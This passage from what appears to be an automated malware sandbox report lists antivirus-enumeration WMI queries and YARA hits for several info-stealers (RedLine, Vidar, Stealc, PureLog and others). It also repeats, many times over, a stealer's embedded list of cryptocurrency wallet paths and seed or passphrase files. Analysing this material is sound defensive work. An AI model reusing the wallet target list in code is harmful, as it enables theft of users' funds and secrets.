Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct

Stealing of Sensitive Information
barindex
Yara detected Mars stealer
Source: Yara match File source: 10.2.u5o8.0.exe.34f0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.u5o8.0.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.3.u5o8.0.exe.3520000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.u5o8.0.exe.34f0e67.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.u5o8.0.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.3.u5o8.0.exe.3520000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000A.00000002.2206846600.00000000034F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.2205500428.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000003.1743202440.0000000003520000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Yara detected PureLog Stealer
Source: Yara match File source: 24.2.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.2eada740000.10.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 24.2.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.2eada920000.16.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 24.2.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.2eada740000.10.unpack, type: UNPACKEDPE
Source: Yara match File source: 24.2.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.2eada920000.16.unpack, type: UNPACKEDPE
Source: Yara match File source: 24.2.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.2ead1eb49f0.9.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 24.2.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.2ead1f2eb15.7.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 24.2.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.2ead1e06ca8.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 24.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.2eabc8a4dad.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 24.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.2eabc8947a3.8.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 24.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.2eabfbe432f.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 24.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.2eabc88537d.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 24.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.2eabfc08739.7.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 24.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.2eabfbbd525.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000018.00000002.2935288692.000002EADA920000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000018.00000002.2932248197.000002EADA740000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000018.00000002.2917481150.000002EAD1E03000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000018.00000000.2126889574.000002EABF9FB000.00000002.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match File source: 00000018.00000000.2126889574.000002EABC7FB000.00000002.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\iolo\dm\BIT1926.tmp, type: DROPPED
Yara detected RedLine Stealer
Source: Yara match File source: 16.2.cmd.exe.54f00c8.8.unpack, type: UNPACKEDPE
Source: Yara match File source: 29.2.cmd.exe.5cc00c8.7.unpack, type: UNPACKEDPE
Source: Yara match File source: 29.2.cmd.exe.5cc00c8.7.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 32.2.MSBuild.exe.900000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 16.2.cmd.exe.54f00c8.8.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000010.00000002.2220970153.00000000054F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000020.00000002.2499719371.0000000000902000.00000002.00000001.01000000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000002.2500535139.0000000005CC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: cmd.exe PID: 8180, type: MEMORYSTR
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\ejfydkiwv, type: DROPPED
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\ncgdcbnvvkpiwr, type: DROPPED
Yara detected SectopRAT
Source: Yara match File source: Process Memory Space: MSBuild.exe PID: 3604, type: MEMORYSTR
Yara detected Stealc
Source: Yara match File source: 0000000A.00000002.2206605683.0000000001A71000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: u5o8.0.exe PID: 7608, type: MEMORYSTR
Source: Yara match File source: dump.pcap, type: PCAP
Yara detected Vidar stealer
Source: Yara match File source: 10.2.u5o8.0.exe.34f0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.u5o8.0.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.3.u5o8.0.exe.3520000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.u5o8.0.exe.34f0e67.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.u5o8.0.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.3.u5o8.0.exe.3520000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000A.00000002.2206846600.00000000034F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.2205500428.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000003.1743202440.0000000003520000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: u5o8.0.exe PID: 7608, type: MEMORYSTR
Yara detected zgRAT
Source: Yara match File source: 24.2.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.2ead1e06ca8.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 24.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.2eabc8a4dad.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 24.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.2eabc8947a3.8.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 24.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.2eabfbe432f.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 24.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.2eabc88537d.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 24.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.2eabfc08739.7.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 24.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.2eabfbbd525.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\iolo\dm\BIT1926.tmp, type: DROPPED
Found many strings related to Crypto-Wallets (likely being stolen)
Source: u5o8.0.exe, 0000000A.00000002.2205500428.0000000000549000.00000040.00000001.01000000.0000000A.sdmp String found in binary or memory: |1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: u5o8.0.exe, 0000000A.00000002.2205500428.0000000000549000.00000040.00000001.01000000.0000000A.sdmp String found in binary or memory: |1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: u5o8.0.exe, 0000000A.00000002.2205500428.0000000000549000.00000040.00000001.01000000.0000000A.sdmp String found in binary or memory: |1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: u5o8.0.exe, 0000000A.00000002.2205500428.0000000000549000.00000040.00000001.01000000.0000000A.sdmp String found in binary or memory: |1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: u5o8.0.exe, 0000000A.00000002.2205500428.0000000000549000.00000040.00000001.01000000.0000000A.sdmp String found in binary or memory: |1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: u5o8.0.exe, 0000000A.00000002.2205500428.0000000000549000.00000040.00000001.01000000.0000000A.sdmp String found in binary or memory: |1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: u5o8.0.exe, 0000000A.00000002.2205500428.0000000000549000.00000040.00000001.01000000.0000000A.sdmp String found in binary or memory: |1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: u5o8.0.exe, 0000000A.00000002.2205500428.0000000000549000.00000040.00000001.01000000.0000000A.sdmp String found in binary or memory: |1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: u5o8.0.exe, 0000000A.00000002.2205500428.0000000000549000.00000040.00000001.01000000.0000000A.sdmp String found in binary or memory: |1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local 